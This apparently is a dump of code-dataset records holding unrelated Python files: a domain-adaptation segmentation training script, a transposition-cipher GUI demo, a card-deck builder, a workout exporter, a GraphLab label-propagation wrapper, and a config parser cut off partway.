dda_loss, tgt_loss = self.trainer.update_weights(source_x, src_labels, target_x, target_lab, 0.1,'train_disc')\n\n for i in range(args.k_src):\n source_x, src_labels = data[0][0].cuda(), data[0][1].transpose(3,1).cuda()\n target_x, target_lab = data[1][0].cuda(), data[1][1].transpose(3,1).cuda()\n #target_x = self.trainer.adv_aug.perturb(target_x, target_lab, self.trainer.target_criterion, random_start=False )\n dda_loss, tgt_loss = self.trainer.update_weights(source_x, src_labels, target_x, target_lab, 0.1,'train_gen')\n total_loss+=dda_loss\n total_loss_tgt +=tgt_loss\n #if(step%100 == 0):\n # print(\"Target_loss:{}, disc_loss:{}\".format(total_loss_tgt/(step+1), total_loss/(step+1)))\n self.trainer.scheduler(self.trainer.dda_optim, step, epoch, self.best_IoU['cup'])\n self.trainer.target_model.eval()\n self.trainer.disc_model.eval()\n for st, data in enumerate(self.tbar):\n image, target = data[0], data[1]\n target = target.transpose(3,1)\n image, target = image.cuda(), target.cuda()\n with torch.no_grad():\n output,_ = self.trainer.target_model(image)\n test_loss = self.trainer.target_criterion(output, target)\n pred = output.data.cpu().numpy()\n target = target.cpu().numpy()\n pred[pred >= 0.5] = 1\n pred[pred < 0.5] = 0\n # Add batch sample into evaluator\n self.evaluator.add_batch(target, pred)\n self.evaluator.add_test_loss(test_loss/(st+1))\n mIoU = self.evaluator.Mean_Intersection_over_Union([self.evaluator.confusion_matrix_disc, self.evaluator.confusion_matrix_cup])\n print(\"mIoU:{}\".format(mIoU))\n total_accuracy =0\n if ((epoch + 1) % 1== 0):\n print(\"Epoch [{}/{}] Step [{}/{}]:\"\n \"d_loss={:.5f} g_loss={:.5f} acc={:.5f}\"\n .format(epoch + 1,\n max_epochs,\n epoch + 1,\n len(self.source_loader),\n total_loss/((step+1)),\n total_loss_tgt/(step+1),total_accuracy))\n mIoU = self.save_model(epoch)\n\n\n def validation(self, args, model, tbar):\n best_pred = {'cup':0, 'disc':0}\n model.eval()\n self.evaluator.reset()\n test_loss = 0.0\n for i, data in enumerate(tbar):\n image, target = data[0], data[1]\n target = target.transpose(3,1)\n image, target = image.cuda(), target.cuda()\n with torch.no_grad():\n output,_ = model(image)\n test_loss = self.trainer.target_criterion(output, target)\n pred = output.data.cpu().numpy()\n target = target.cpu().numpy()\n pred[pred >= 0.5] = 1\n pred[pred < 0.5] = 0\n # Add batch sample into evaluator\n self.evaluator.add_batch(target, pred)\n self.evaluator.add_test_loss(test_loss/(i+1))\n\n mIoU = self.evaluator.Mean_Intersection_over_Union([self.evaluator.confusion_matrix_disc, self.evaluator.confusion_matrix_cup])\n #evaluator.Plot_Loss(1)\n print('Validation:')\n #print('[Epoch: %d, numImages: %5d]' % (epoch, i * args.batch_size + image.data.shape[0]))\n print(\"mIoU:{}\".format(mIoU))\n print('Loss: %.3f' % test_loss)\n new_pred = mIoU\n if new_pred['cup'] > best_pred['cup']:\n is_best = True\n best_pred = new_pred\ndef main():\n parser = argparse.ArgumentParser(description=\"PyTorch DeeplabV3Plus Training\")\n parser.add_argument('--backbone', type=str, default='resnet',\n choices=['resnet', 'xception', 'drn', 'mobilenet'],\n help='backbone name (default: resnet)')\n parser.add_argument('--dataset', type=str, default='glaucoma',\n choices=['pascal', 'coco', 'cityscapes', 'glaucoma'],\n help='dataset name (default: pascal)')\n\n parser.add_argument('--batch-size', type=int, default=2,\n metavar='N', help='input batch size for \\\n training (default: auto)')\n\n parser.add_argument('--lr', type=float, default=None, metavar='LR',\n help='learning rate (default: auto)')\n parser.add_argument('--lr-scheduler', type=str, default='poly',\n choices=['poly', 'step', 'cos'],\n help='lr scheduler mode: (default: poly)')\n parser.add_argument('--momentum', type=float, default=0.9,\n metavar='M', help='momentum (default: 0.9)')\n parser.add_argument('--weight-decay', type=float, default=5e-4,\n metavar='M', help='w-decay (default: 5e-4)')\n parser.add_argument('--nesterov', action='store_true', default=False,\n help='whether use nesterov (default: False)')\n # cuda, seed and logging\n parser.add_argument('--no-cuda', action='store_true', default=\n False, help='disables CUDA training')\n parser.add_argument('--gpu-ids', type=str, default='0',\n help='use which gpu to train, must be a \\\n comma-separated list of integers only (default=0)')\n parser.add_argument('--seed', type=int, default=1, metavar='S',\n help='random seed (default: 1)')\n\n parser.add_argument('--loss-type', type=str, default='bce',\n choices=['ce', 'focal', 'bce'],\n help='loss func type (default: ce)')\n parser.add_argument('--lr_critic', type=int, default=1e-4,\n help='skip validation during training')\n parser.add_argument('--gamma', type=int, default=10,\n help='skip validation during training')\n parser.add_argument('--lambda_g', type=int, default=1,\n help='skip validation during training')\n parser.add_argument('--epochs', type=int, default=400, metavar='N',\n help='number of epochs to train (default: auto)')\n\n parser.add_argument('--k_disc', type=int, default=1,\n help='skip validation during training')\n parser.add_argument('--k_src', type=int, default=2,\n help='skip validation during training')\n parser.add_argument('--k_targ', type=int, default=1,\n help='skip validation during training')\n # checking point\n parser.add_argument('--resume', type=str, default= \"pretrained/deeplab-resnet.pth.tar\", #\"run/glaucoma/best_experiment_2.pth.tar\",\n help='put the path to resuming file if needed')\n args = parser.parse_args()\n args.cuda = not args.no_cuda and torch.cuda.is_available()\n if args.cuda:\n try:\n args.gpu_ids = [int(s) for s in args.gpu_ids.split(',')]\n except ValueError:\n raise ValueError('Argument --gpu_ids must be a comma-separated list of integers only')\n args.batch_size = 4\n if args.lr is None:\n lrs = {\n 'coco': 0.1,\n 'cityscapes': 0.01,\n 'pascal': 0.007,\n 'glaucoma': 0.007,\n }\n args.lr = 0.001\n torch.manual_seed(1)\n torch.cuda.manual_seed(1)\n np.random.seed(1)\n random.seed(1)\n torch.backends.cudnn.deterministic = True\n torch.backends.cudnn.enabled = False\n torch.backends.cudnn.benchmark = False\n adda(args)\n\nmain()\n","sub_path":"trainer_sing_source/train_dda.py","file_name":"train_dda.py","file_ext":"py","file_size_in_byte":11526,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"50634971","text":"import tkinter as tk\r\n\r\n\r\ndef encrypt(plaintext, col_key, row_key):\r\n \"\"\" Use a column transformation to encrypt the message.\"\"\"\r\n return encrypt_decrypt(plaintext, col_key, row_key, False)\r\n\r\ndef decrypt(ciphertext, col_key, row_key):\r\n \"\"\" Use a column transformation to decrypt the message.\"\"\"\r\n return encrypt_decrypt(ciphertext, col_key, row_key, True)\r\n\r\ndef encrypt_decrypt(plaintext, col_key, row_key, decrypt):\r\n \"\"\" Use a column transformation to encrypt or decrypt the message.\"\"\"\r\n # Calculate the number of rows.\r\n num_columns = len(col_key)\r\n num_rows = int(1 + (len(plaintext) - 1) / num_columns)\r\n\r\n # Pad the string if necessary to make it fit the rectangle evenly.\r\n if num_rows * num_columns != len(plaintext):\r\n plaintext += \"X\" * (num_rows * num_columns - len(plaintext))\r\n\r\n # Make the key mappings.\r\n forward_col_mapping, inverse_col_mapping = make_key_mapping(col_key)\r\n forward_row_mapping, inverse_row_mapping = make_key_mapping(row_key)\r\n if decrypt:\r\n col_mapping = forward_col_mapping\r\n row_mapping = forward_row_mapping\r\n else:\r\n col_mapping = inverse_col_mapping\r\n row_mapping = inverse_row_mapping\r\n\r\n # Construct the encrypted/decrypted string.\r\n result = \"\"\r\n for row in range(num_rows):\r\n # Read this row in permuted order.\r\n for col in range(num_columns):\r\n index = row_mapping[row] * num_columns + col_mapping[col]\r\n result += plaintext[index]\r\n\r\n return result\r\n\r\ndef make_key_mapping(key):\r\n \"\"\" Make a mapping for this key.\"\"\"\r\n # Sort the characters.\r\n chars = list(key)\r\n chars.sort()\r\n sorted_key = \"\".join(chars)\r\n\r\n # Make the mapping.\r\n mapping = []\r\n for i in range(len(key)):\r\n mapping.append(sorted_key.index(key[i]))\r\n\r\n # Make the inverse mapping.\r\n inverse_mapping = [0 for i in range(len(key))]\r\n for i in range(len(key)):\r\n inverse_mapping[mapping[i]] = i\r\n\r\n return mapping, inverse_mapping\r\n\r\ndef to_n_grams(message):\r\n \"\"\" Break the text into 5-character chunks.\"\"\"\r\n # Pad the message in case its length isn't a multiple of 5.\r\n message += \" \"\r\n\r\n # Create the 5-character chunks.\r\n result = \"\"\r\n for i in range(0, len(message) - 5, 5):\r\n result += message[i: i + 5] + \" \"\r\n\r\n # Remove trailing spaces.\r\n return result.rstrip()\r\n\r\n\r\nclass App:\r\n def kill_callback(self):\r\n self.window.destroy()\r\n\r\n def __init__(self):\r\n self.window = tk.Tk()\r\n self.window.title(\"swap_rows_and_columns\")\r\n self.window.protocol(\"WM_find_WINDOW\", self.kill_callback)\r\n self.window.geometry(\"320x230\")\r\n\r\n self.window.columnconfigure(1, weight=1)\r\n\r\n label = tk.Label(self.window, text=\"Message:\")\r\n label.grid(padx=5, pady=5, row=0, column=0, sticky=tk.W)\r\n self.message_entry = tk.Entry(self.window, width=12)\r\n self.message_entry.grid(padx=5, pady=5, row=0, column=1, sticky=tk.EW)\r\n self.message_entry.insert(0, \"THIS IS A SECRET MESSAGE\")\r\n\r\n label = tk.Label(self.window, text=\"Key 1:\")\r\n label.grid(padx=5, pady=5, row=1, column=0, sticky=tk.W)\r\n self.key1_entry = tk.Entry(self.window, width=12)\r\n self.key1_entry.grid(padx=5, pady=5, row=1, column=1, sticky=tk.W)\r\n self.key1_entry.insert(0, \"CARTS\")\r\n\r\n label = tk.Label(self.window, text=\"Key 2:\")\r\n label.grid(padx=5, pady=5, row=2, column=0, sticky=tk.W)\r\n self.key2_entry = tk.Entry(self.window, width=12)\r\n self.key2_entry.grid(padx=5, pady=5, row=2, column=1, sticky=tk.W)\r\n self.key2_entry.insert(0, \"FISH\")\r\n\r\n encrypt_button = tk.Button(self.window, width=8, text=\"Encrypt\", command=self.encrypt)\r\n encrypt_button.grid(padx=5, pady=5, row=3, column=0, columnspan=2)\r\n\r\n label = tk.Label(self.window, text=\"Ciphertext:\")\r\n label.grid(padx=5, pady=5, row=4, column=0, sticky=tk.W)\r\n self.ciphertext_entry = tk.Entry(self.window, width=12)\r\n self.ciphertext_entry.grid(padx=5, pady=5, row=4, column=1, sticky=tk.EW)\r\n\r\n decrypt_button = tk.Button(self.window, width=8, text=\"Decrypt\", command=self.decrypt)\r\n decrypt_button.grid(padx=5, pady=5, row=5, column=0, columnspan=2)\r\n\r\n label = tk.Label(self.window, text=\"Plaintext:\")\r\n label.grid(padx=5, pady=5, row=6, column=0, sticky=tk.W)\r\n self.plaintext_entry = tk.Entry(self.window, width=12)\r\n self.plaintext_entry.grid(padx=5, pady=5, row=6, column=1, sticky=tk.EW)\r\n\r\n # Bind some keys.\r\n self.window.bind('', (lambda e, button=encrypt_button: encrypt_button.invoke())) \r\n\r\n # Force focus so Alt+F4 closes this window and not the Python shell.\r\n self.message_entry.focus_force()\r\n self.window.mainloop()\r\n\r\n def encrypt(self):\r\n \"\"\" Use a column transformation to encrypt the message.\"\"\"\r\n message = self.message_entry.get().upper().replace(\" \", \"\")\r\n col_key = self.key1_entry.get()\r\n row_key = self.key2_entry.get()\r\n ciphertext = encrypt(message, col_key, row_key)\r\n self.ciphertext_entry.delete(0, tk.END)\r\n self.ciphertext_entry.insert(tk.END, to_n_grams(ciphertext))\r\n self.plaintext_entry.delete(0, tk.END)\r\n\r\n def decrypt(self):\r\n \"\"\" Use a column transformation to decrypt the message.\"\"\"\r\n ciphertext = self.ciphertext_entry.get().upper().replace(\" \", \"\")\r\n col_key = self.key1_entry.get()\r\n row_key = self.key2_entry.get()\r\n plaintext = decrypt(ciphertext, col_key, row_key)\r\n self.plaintext_entry.delete(0, tk.END)\r\n self.plaintext_entry.insert(tk.END, to_n_grams(plaintext))\r\n\r\n\r\nif __name__ == '__main__':\r\n app = App()\r\n\r\n# app.root.destroy()\r\n","sub_path":"algs2e_python/Chapter 16/python/swap_rows_and_columns.py","file_name":"swap_rows_and_columns.py","file_ext":"py","file_size_in_byte":5826,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"13765889","text":"from deck import Deck, deserialize_deck, serialize_deck\nfrom proto.cards_pb2 import Card\n\nTWENTYNINE_DECK_NAME = '29.deck'\nSTANDARD_DECK_NAME = 'standard.deck'\n\n\ndef create_standard_deck() -> Deck:\n suits = ['H', 'S', 'D', 'C']\n labels = ['A', 'K', 'Q', 'J', '10', '9', '8', '7',\n '6', '5', '4', '3', '2'] # in rank order\n values = {'J': 3, '9': 2, 'A': 1, '10': 1}\n cards = []\n for suit in suits:\n for rank, label in enumerate(labels):\n rank = rank + 1\n value = values[label] if label in values else 0\n cards.append(Card(label=label, suit=suit, rank=rank, value=value))\n return Deck(cards=cards)\n\n\ndef create_twentynine_deck() -> Deck:\n suits = ['H', 'S', 'D', 'C']\n labels = ['J', '9', 'A', '10', 'K', 'Q', '8', '7'] # in rank order\n values = {'J': 3, '9': 2, 'A': 1, '10': 1}\n cards = []\n for suit in suits:\n for rank, label in enumerate(labels):\n rank = rank + 1\n value = values[label] if label in values else 0\n cards.append(Card(label=label, suit=suit, rank=rank, value=value))\n return Deck(cards=cards)\n\n\ndef serialize_twentynine_deck() -> None:\n deck = create_twentynine_deck()\n serialize_deck(deck, TWENTYNINE_DECK_NAME)\n\n\ndef new_twentynine_deck() -> Deck:\n return deserialize_deck(TWENTYNINE_DECK_NAME)\n\n\ndef serialize_standard_deck() -> None:\n deck = create_standard_deck()\n serialize_deck(deck, STANDARD_DECK_NAME)\n\n\ndef new_standard_deck() -> Deck:\n return deserialize_deck(STANDARD_DECK_NAME)\n","sub_path":"src/deck_builder.py","file_name":"deck_builder.py","file_ext":"py","file_size_in_byte":1557,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"420113927","text":"# Copyright 2019 Michael J Simms\n\"\"\"Dscribes a workout to be performed.\"\"\"\n\nfrom __future__ import print_function\nimport datetime\nimport json\nimport inspect\nimport os\nimport sys\nimport time\nimport uuid\nimport IcsWriter\nimport Keys\nimport Units\nimport UserMgr\nimport ZwoWriter\n\n# Locate and load the ZwoTags module.\ncurrentdir = os.path.dirname(os.path.abspath(inspect.getfile(inspect.currentframe())))\nzworeaderdir = os.path.join(currentdir, 'ZwoReader')\nsys.path.insert(0, zworeaderdir)\nimport ZwoTags\n\nclass Workout(object):\n \"\"\"Class that describes a workout to be performed.\"\"\"\n\n def __init__(self, user_id):\n self.user_id = user_id\n self.user_mgr = UserMgr.UserMgr(None)\n self.type = \"\"\n self.sport_type = \"\"\n self.scheduled_time = None # The time at which this workout is to be performed\n self.warmup = {} # The warmup interval\n self.cooldown = {} # The cooldown interval\n self.intervals = [] # The workout intervals\n self.needs_rest_day_afterwards = False # Used by the scheduler\n self.can_be_doubled = False # Used by the scheduler to know whether or not this workout can be doubled up with other workouts\n self.workout_id = uuid.uuid4() # Unique identifier for the workout\n\n def __getitem__(self, key):\n if key == Keys.WORKOUT_ID_KEY:\n return self.workout_id\n if key == Keys.WORKOUT_TYPE_KEY:\n return self.type\n if key == Keys.WORKOUT_SPORT_TYPE_KEY:\n return self.sport_type\n if key == Keys.WORKOUT_WARMUP_KEY:\n return self.warmup\n if key == Keys.WORKOUT_COOLDOWN_KEY:\n return self.cooldown\n if key == Keys.WORKOUT_INTERVALS_KEY:\n return self.intervals\n if key == Keys.WORKOUT_SCHEDULED_TIME_KEY and self.scheduled_time is not None:\n dt = time.mktime(self.scheduled_time.timetuple())\n return datetime.datetime(dt.year, dt.month, dt.day)\n return None\n\n def to_dict(self):\n \"\"\"Converts the object representation to a dictionary, only converting what is actually useful, as opposed to __dict__.\"\"\"\n output = {}\n output[Keys.WORKOUT_ID_KEY] = self.workout_id\n output[Keys.WORKOUT_TYPE_KEY] = self.type\n output[Keys.WORKOUT_SPORT_TYPE_KEY] = self.sport_type\n output[Keys.WORKOUT_WARMUP_KEY] = self.warmup\n output[Keys.WORKOUT_COOLDOWN_KEY] = self.cooldown\n output[Keys.WORKOUT_INTERVALS_KEY] = self.intervals\n if self.scheduled_time is not None:\n output[Keys.WORKOUT_SCHEDULED_TIME_KEY] = time.mktime(self.scheduled_time.timetuple())\n else:\n output[Keys.WORKOUT_SCHEDULED_TIME_KEY] = None\n return output\n\n def from_dict(self, input):\n \"\"\"Sets the object's members from a dictionary.\"\"\"\n if Keys.WORKOUT_ID_KEY in input:\n self.workout_id = input[Keys.WORKOUT_ID_KEY]\n if Keys.WORKOUT_TYPE_KEY in input:\n self.type = input[Keys.WORKOUT_TYPE_KEY]\n if Keys.WORKOUT_SPORT_TYPE_KEY in input:\n self.sport_type = input[Keys.WORKOUT_SPORT_TYPE_KEY]\n if Keys.WORKOUT_WARMUP_KEY in input:\n self.warmup = input[Keys.WORKOUT_WARMUP_KEY]\n if Keys.WORKOUT_COOLDOWN_KEY in input:\n self.cooldown = input[Keys.WORKOUT_COOLDOWN_KEY]\n if Keys.WORKOUT_INTERVALS_KEY in input:\n self.intervals = input[Keys.WORKOUT_INTERVALS_KEY]\n if Keys.WORKOUT_SCHEDULED_TIME_KEY in input and input[Keys.WORKOUT_SCHEDULED_TIME_KEY] is not None:\n self.scheduled_time = datetime.datetime.fromtimestamp(input[Keys.WORKOUT_SCHEDULED_TIME_KEY]).date()\n\n def add_warmup(self, seconds):\n \"\"\"Defines the workout warmup.\"\"\"\n self.warmup = {}\n self.warmup[ZwoTags.ZWO_ATTR_NAME_DURATION] = seconds\n self.warmup[ZwoTags.ZWO_ATTR_NAME_POWERLOW] = 0.25\n self.warmup[ZwoTags.ZWO_ATTR_NAME_POWERHIGH] = 0.75\n self.warmup[ZwoTags.ZWO_ATTR_NAME_PACE] = None\n\n def add_cooldown(self, seconds):\n \"\"\"Defines the workout cooldown.\"\"\"\n self.cooldown = {}\n self.cooldown[ZwoTags.ZWO_ATTR_NAME_DURATION] = seconds\n self.cooldown[ZwoTags.ZWO_ATTR_NAME_POWERLOW] = 0.75\n self.cooldown[ZwoTags.ZWO_ATTR_NAME_POWERHIGH] = 0.25\n self.cooldown[ZwoTags.ZWO_ATTR_NAME_PACE] = None\n\n def add_interval(self, repeat, distance, pace, recovery_distance, recovery_pace):\n \"\"\"Appends an interval to the workout.\"\"\"\n interval = {}\n interval[Keys.INTERVAL_REPEAT_KEY] = int(repeat)\n interval[Keys.INTERVAL_DISTANCE_KEY] = float(distance)\n interval[Keys.INTERVAL_PACE_KEY] = float(pace)\n interval[Keys.INTERVAL_RECOVERY_DISTANCE_KEY] = float(recovery_distance)\n interval[Keys.INTERVAL_RECOVERY_PACE_KEY] = float(recovery_pace)\n self.intervals.append(interval)\n\n def export_to_zwo(self, file_name):\n \"\"\"Creates a ZWO-formatted file that describes the workout.\"\"\"\n writer = ZwoWriter.ZwoWriter()\n writer.create_zwo(file_name)\n writer.store_description(self.type)\n writer.store_sport_type(self.sport_type)\n writer.start_workout()\n\n # Add the warmup (if applicable).\n if self.warmup is not None:\n writer.store_workout_warmup(self.warmup[ZwoTags.ZWO_ATTR_NAME_DURATION], self.warmup[ZwoTags.ZWO_ATTR_NAME_POWERLOW], self.warmup[ZwoTags.ZWO_ATTR_NAME_POWERHIGH], self.warmup[ZwoTags.ZWO_ATTR_NAME_PACE])\n\n # Add each interval.\n for interval in self.intervals:\n interval_meters = interval[Keys.INTERVAL_DISTANCE_KEY]\n interval_pace_minute = interval[Keys.INTERVAL_PACE_KEY]\n recovery_meters = interval[Keys.INTERVAL_RECOVERY_DISTANCE_KEY]\n recovery_pace_minute = interval[Keys.INTERVAL_RECOVERY_PACE_KEY]\n\n # Convert distance and pace to time. Distance is given in meters/minute. The final result should be a whole number of seconds.\n on_duration = float(interval_meters) / ((interval_pace_minute) / 60.0)\n on_duration = int(on_duration)\n if recovery_pace_minute == 0:\n recovery_duration = 0\n else:\n recovery_duration = float(recovery_meters) / (float(recovery_pace_minute) / 60.0)\n recovery_duration = int(recovery_duration)\n writer.store_workout_intervals(interval[Keys.INTERVAL_REPEAT_KEY], on_duration, recovery_duration, None, 0)\n\n # Add the cooldown (if applicable).\n if self.cooldown is not None:\n writer.store_workout_cooldown(self.cooldown[ZwoTags.ZWO_ATTR_NAME_DURATION], self.cooldown[ZwoTags.ZWO_ATTR_NAME_POWERLOW], self.cooldown[ZwoTags.ZWO_ATTR_NAME_POWERHIGH], self.cooldown[ZwoTags.ZWO_ATTR_NAME_PACE])\n\n writer.end_workout()\n writer.close()\n\n file_data = writer.buffer()\n\n with open(file_name, 'wt') as local_file:\n local_file.write(file_data)\n\n def export_to_text(self):\n \"\"\"Creates a string that describes the workout.\"\"\"\n\n unit_system = self.user_mgr.retrieve_user_setting(self.user_id, Keys.PREFERRED_UNITS_KEY)\n\n result = \"Workout Type: \"\n result += self.type\n result += \"\\nSport: \"\n result += self.sport_type\n result += \"\\n\"\n\n # Add the warmup (if applicable).\n if self.warmup is not None and ZwoTags.ZWO_ATTR_NAME_DURATION in self.warmup:\n result += \"Warmup: \"\n result += str(self.warmup[ZwoTags.ZWO_ATTR_NAME_DURATION])\n result += \" seconds.\\n\"\n\n # Add each interval.\n for interval in self.intervals:\n interval_meters = interval[Keys.INTERVAL_DISTANCE_KEY]\n interval_pace_minute = interval[Keys.INTERVAL_PACE_KEY]\n recovery_meters = interval[Keys.INTERVAL_RECOVERY_DISTANCE_KEY]\n recovery_pace_minute = interval[Keys.INTERVAL_RECOVERY_PACE_KEY]\n\n result += \"Interval: \"\n result += Units.convert_to_string_in_specified_unit_system(unit_system, interval_meters, Units.UNITS_DISTANCE_METERS, None, Keys.TOTAL_DISTANCE)\n result += \" at \"\n result += Units.convert_to_string_in_specified_unit_system(unit_system, interval_pace_minute, Units.UNITS_DISTANCE_METERS, Units.UNITS_TIME_MINUTES, Keys.INTERVAL_PACE_KEY)\n if recovery_meters > 0:\n result += \" with \"\n result += Units.convert_to_string_in_specified_unit_system(unit_system, recovery_meters, Units.UNITS_DISTANCE_METERS, None, Keys.TOTAL_DISTANCE)\n result += \" recovery at \"\n result += Units.convert_to_string_in_specified_unit_system(unit_system, recovery_pace_minute, Units.UNITS_DISTANCE_METERS, Units.UNITS_TIME_MINUTES, Keys.INTERVAL_PACE_KEY)\n result += \".\\n\"\n\n # Add the cooldown (if applicable).\n if self.cooldown is not None and ZwoTags.ZWO_ATTR_NAME_DURATION in self.cooldown:\n result += \"Cooldown: \"\n result += str(self.cooldown[ZwoTags.ZWO_ATTR_NAME_DURATION])\n result += \" seconds.\\n\"\n\n # Add an string that describes how this workout fits into the big picture.\n if self.type == Keys.WORKOUT_TYPE_INTERVAL_SESSION:\n result += \"Purpose: Interval sessions are designed to build speed and strength.\\n\"\n elif self.type == Keys.WORKOUT_TYPE_TEMPO_RUN:\n result += \"Purpose: Tempo runs build a combination of speed and endurance. They should be performed at a pace you can hold for roughly one hour.\\n\"\n elif self.type == Keys.WORKOUT_TYPE_EASY_RUN:\n result += \"Purpose: Easy runs build aerobic capacity while keeping the wear and tear on the body to a minimum.\\n\"\n\n return result\n\n def export_to_json_str(self):\n \"\"\"Creates a JSON string that describes the workout.\"\"\"\n result = self.to_dict()\n result[Keys.WORKOUT_ID_KEY] = str(self.workout_id)\n result[Keys.WORKOUT_DESCRIPTION_KEY] = self.export_to_text()\n return json.dumps(result, ensure_ascii=False)\n\n def export_to_ics(self, file_name):\n \"\"\"Creates a ICS-formatted file that describes the workout.\"\"\"\n ics_writer = IcsWriter.IcsWriter()\n file_data = ics_writer.create(self.workout_id, self.scheduled_time, self.scheduled_time, self.type, self.export_to_text())\n\n with open(file_name, 'wt') as local_file:\n local_file.write(file_data)\n","sub_path":"Workout.py","file_name":"Workout.py","file_ext":"py","file_size_in_byte":10491,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"269577969","text":"import graphlab.connect as _mt\nfrom graphlab.util import _raise_error_if_not_of_type\nfrom graphlab.data_structures.sgraph import SGraph as _SGraph\n\n\ndef submit_training_job(env, graph, label_field,\n threshold=1e-3,\n weight_field='',\n self_weight=1.0,\n undirected=False,\n max_iterations=None,\n _single_precision=False):\n \"\"\"\n Given a weighted graph with observed class labels of a subset of vertices,\n infer the label probability for the unobserved vertices using the\n \"label propagation\" algorithm.\n\n The algorithm iteratively updates the label probability of current vertex\n as a weighted sum of label probability of self and the neighboring vertices\n until converge. See\n :class:`graphlab.label_propagation.LabelPropagationModel` for the details\n of the algorithm.\n\n Notes: label propagation works well with small number of labels, i.e. binary\n labels, or less than 1000 classes. The toolkit will throw error\n if the number of classes exceeds the maximum value (1000).\n\n Parameters\n ----------\n env : graphlab.deploy.hadoop_cluster.HadoopCluster\n Hadoop cluster to submit the training job\n\n graph : SGraph\n The graph on which to compute the label propagation.\n\n label_field: str\n Vertex field storing the initial vertex labels. The values in\n must be [0, num_classes). None values indicate unobserved vertex labels.\n\n threshold : float, optional\n Threshold for convergence, measured in the average L2 norm\n (the sum of squared values) of the delta of each vertex's\n label probability vector.\n\n max_iterations: int, optional\n The max number of iterations to run. Default is unlimited.\n If set, the algorithm terminates when either max_iterations\n or convergence threshold is reached.\n\n weight_field: str, optional\n Vertex field for edge weight. If empty, all edges are assumed\n to have unit weight.\n\n self_weight: float, optional\n The weight for self edge.\n\n undirected: bool, optional\n If true, treat each edge as undirected, and propagates label in\n both directions.\n\n _single_precision : bool, optional\n If true, running label propagation in single precision. The resulting\n probability values may less accurate, but should run faster\n and use less memory.\n\n Returns\n -------\n out : :class:`~graphlab.distributed._dml_job_status.DMLJobStatus`\n An object that tracks the execution of the distributed training job.\n\n References\n ----------\n - Zhu, X., & Ghahramani, Z. (2002). `Learning from labeled and unlabeled data\n with label propagation `_.\n\n Examples\n --------\n If given an :class:`~graphlab.SGraph` ``g``, we can create\n a :class:`~graphlab.label_propagation.LabelPropagationModel` as follows:\n\n >>> hdp_env = graphlab.deploy.hadoop_cluster.create('my-first-hadoop-cluster',\n ... 'hdfs://path-to-turi-distributed-installation')\n >>> g = graphlab.load_graph('http://snap.stanford.edu/data/email-Enron.txt.gz',\n ... format='snap')\n # Initialize random classes for a subset of vertices\n # Leave the unobserved vertices with None label.\n >>> import random\n >>> def init_label(vid):\n ... x = random.random()\n ... if x < 0.2:\n ... return 0\n ... elif x > 0.9:\n ... return 1\n ... else:\n ... return None\n >>> g.vertices['label'] = g.vertices['__id'].apply(init_label, int)\n >>> distr_obj = graphlab.distributed.label_propagation.submit_training_job(hdp_env, g, 'label')\n >>> model = distr_job.get_results()\n\n We can obtain for each vertex the predicted label and the probability of\n each label in the graph ``g`` using:\n\n >>> labels = m['labels'] # SFrame\n >>> labels\n +------+-------+-----------------+-------------------+----------------+\n | __id | label | predicted_label | P0 | P1 |\n +------+-------+-----------------+-------------------+----------------+\n | 5 | 1 | 1 | 0.0 | 1.0 |\n | 7 | None | 0 | 0.8213214997 | 0.1786785003 |\n | 8 | None | 1 | 5.96046447754e-08 | 0.999999940395 |\n | 10 | None | 0 | 0.534984718273 | 0.465015281727 |\n | 27 | None | 0 | 0.752801638549 | 0.247198361451 |\n | 29 | None | 1 | 5.96046447754e-08 | 0.999999940395 |\n | 33 | None | 1 | 5.96046447754e-08 | 0.999999940395 |\n | 47 | 0 | 0 | 1.0 | 0.0 |\n | 50 | None | 0 | 0.788279032657 | 0.211720967343 |\n | 52 | None | 0 | 0.666666666667 | 0.333333333333 |\n +------+-------+-----------------+-------------------+----------------+\n [36692 rows x 5 columns]\n\n See Also\n --------\n LabelPropagationModel\n \"\"\"\n _mt._get_metric_tracker().track('distributed.graph_analytics.label_propagation.create')\n\n _raise_error_if_not_of_type(label_field, str)\n _raise_error_if_not_of_type(weight_field, str)\n\n if not isinstance(graph, _SGraph):\n raise TypeError('graph input must be a SGraph object.')\n\n if graph.vertices[label_field].dtype() != int:\n raise TypeError('label_field %s must be integer typed.' % label_field)\n\n opts = {'label_field': label_field,\n 'threshold': threshold,\n 'weight_field': weight_field,\n 'self_weight': self_weight,\n 'undirected': undirected,\n 'max_iterations': max_iterations,\n 'single_precision': _single_precision,\n 'graph': graph.__proxy__}\n\n from ... import _dml\n dml_obj = _dml.run('distributed_labelprop', 'label_propagation', opts, env)\n\n return dml_obj\n","sub_path":"env/lib/python2.7/site-packages/graphlab/distributed/toolkits/graph_analytics/label_propagation.py","file_name":"label_propagation.py","file_ext":"py","file_size_in_byte":6003,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"278939817","text":"# -*- coding: utf-8 -*-\n\n#############################################################################\n# #\n# EIDEParser #\n# #\n# This file is part of the library EIDEGraphics. Please, refer file #\n# EIDE.py for further information and LICENSE notice. #\n# #\n#############################################################################\n\n\"\"\"\n\nClass 'EIDEParser'. It inherits from the class\n'configparser.configparser' (configparser python library). Adds to\nconfigparser.configparser a 'bullet proof' method -'optionsListC'- to\nfilter out any inconsistency in the configuration ('*.txt') files.\n\n\"\"\"\n\nimport os.path\nimport configparser\n##import ConfigParser # python 2.7\nimport EIDESystem\n\n\n############################### EIDEParser #########################\nclass EIDEParser(configparser.ConfigParser):\n \"\"\" Specific parser for EIDE 'txt' files \"\"\"\n\n\n# EIDEParser #########################\n def __init__(self, path, fichero, parameters):\n configparser.ConfigParser.__init__(self)\n\n self.wholePath = os.path.join(path,fichero)\n self.read(self.wholePath)\n self.fichero = fichero\n self.parameters = parameters\n\n\n# EIDEParser #########################\n def sectionsList(self):\n \"\"\" Return a list on the sections in the file \"\"\"\n return self.sections()\n\n\n# EIDEParser #########################\n def optionsList(self, seccion):\n \"\"\" Return a list with the options -fields- of a given section.\n No check \"\"\"\n return self.items(seccion)\n\n\n# EIDEParser #########################\n def optionsListC(self, seccion):\n \"\"\" Return a 'converted' list with the options -fields- in the\n section. Checks for existence and validity of data.\"\"\"\n\n\n \"\"\"\n Key:2nd field in 'parameters' returns\n 